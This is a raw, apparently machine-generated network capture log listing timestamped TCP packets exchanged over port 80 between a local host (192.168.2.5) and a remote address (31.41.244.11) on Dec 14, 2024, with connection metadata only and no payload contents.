Dec 14, 2024 14:56:18.717480898 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.717506886 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.717506886 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.718683958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.718699932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.718753099 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.719769955 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.719978094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.720027924 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.720969915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.720984936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.721018076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.721050024 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.853876114 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.853893995 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.853904963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.853916883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.854110003 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.854110003 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.855751991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.855811119 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.855926037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.855937004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.855979919 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.856076002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.856087923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.856126070 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.856157064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.856245041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.856256962 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.856295109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.857265949 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.857315063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.857410908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.857461929 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.858381033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.858428001 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.858561039 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.858609915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.859599113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.859647989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.859757900 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.859827995 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.860786915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.860805035 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.860841990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.860841990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.862059116 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.862113953 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.862231016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.862281084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.862951994 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.863003969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.863024950 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.863070965 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.864089012 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.864139080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.864213943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.864258051 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.865279913 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.865323067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.865391016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.865437031 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.866492033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.866542101 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.866585970 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.866633892 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.867649078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.867738962 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.867754936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.867801905 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.868845940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.868900061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.868956089 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.869004011 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.870112896 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.870166063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.870193005 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.870239973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.871198893 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.871248960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.871301889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.871351957 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.872464895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.872513056 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.872677088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.872725010 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.873596907 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.873645067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.873788118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.873835087 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.874769926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.874821901 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.874887943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.874934912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.892963886 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893016100 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893016100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893028021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893071890 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893071890 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893150091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893161058 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893171072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893181086 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893199921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893229961 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893373013 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893383026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893392086 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893400908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893410921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893423080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893424988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893445015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893445015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893475056 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893646002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893656969 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893666029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893682957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893693924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893706083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893703938 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893717051 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893724918 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893728018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.893743992 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893775940 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.893775940 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.894078016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894088030 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894097090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894104958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894121885 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894126892 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.894136906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894148111 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.894148111 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894160032 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894167900 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.894174099 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894186020 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.894210100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.894582033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894598961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.894629955 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.894661903 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.895117998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.895168066 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.895205021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.895251989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.896217108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.896264076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.896332979 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.896378994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.897500992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.897548914 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.897598028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.897644043 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.898571014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.898618937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.898663998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.898735046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.899749041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.899799109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.899873972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.899919987 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.900964975 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.901010990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.901087999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.901134968 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.902102947 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.902151108 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.902183056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.902235031 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.903354883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.903404951 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.903420925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.903467894 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.904486895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.904537916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.904623985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.904671907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.905709982 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.905759096 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.905800104 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.905847073 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.906905890 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.906955957 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.906996965 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.907053947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.908063889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.908113956 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.908159971 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.908207893 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.909231901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.909280062 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.909351110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.909399033 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.910443068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.910490990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.910554886 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.910602093 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.911636114 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.911674023 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.911689043 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.911731005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.912811995 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.912861109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:18.912900925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:18.912949085 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.043513060 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.043620110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.043734074 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.043735027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.044086933 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.044142008 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.044186115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.044235945 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.045315981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.045370102 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.045414925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.045464993 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.046463013 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.046510935 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.046818018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.046860933 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.046869993 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.046905994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.048032999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.048084021 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.048152924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.048201084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.049220085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.049269915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.049307108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.049354076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.050400972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.050451040 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.050518990 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.050568104 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.051605940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.051657915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.051726103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.051775932 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.052791119 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.052839994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.052884102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.052932024 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.054049969 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.054100037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.054182053 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.054228067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.055156946 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.055207014 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.055270910 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.056355000 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.056406021 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.056468010 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.057559967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.057610035 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.057651043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.057699919 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.058739901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.058902025 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.058968067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.059906960 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.060015917 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.060081005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.061156988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.061218977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.061255932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.062295914 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.062347889 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.062383890 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.062705994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.063481092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.063564062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.063615084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.064747095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.064848900 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.064899921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.065845966 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.065896034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.065937042 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.066899061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.067029953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.067079067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.067147970 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.067195892 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.068332911 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.068391085 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.068404913 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.068454981 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.069395065 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.069446087 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.069515944 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.069569111 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.070595026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.070657015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.070723057 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.071835041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.071887970 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.072052002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.073035002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.073045969 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.073087931 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.073117018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.074203968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.074258089 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.074282885 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.075087070 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.075388908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.075434923 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.075496912 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.075542927 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.076541901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.076595068 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.076673985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.076715946 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.077753067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.077806950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.077847958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.077893972 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.078912973 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.078965902 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.079001904 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.079049110 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.080106020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.080202103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.080252886 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.081285954 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.081336975 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.081377983 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.081461906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.082489967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.082568884 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.082588911 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.082633972 CET	49846	80	192.168.2.5	31.41.244.11
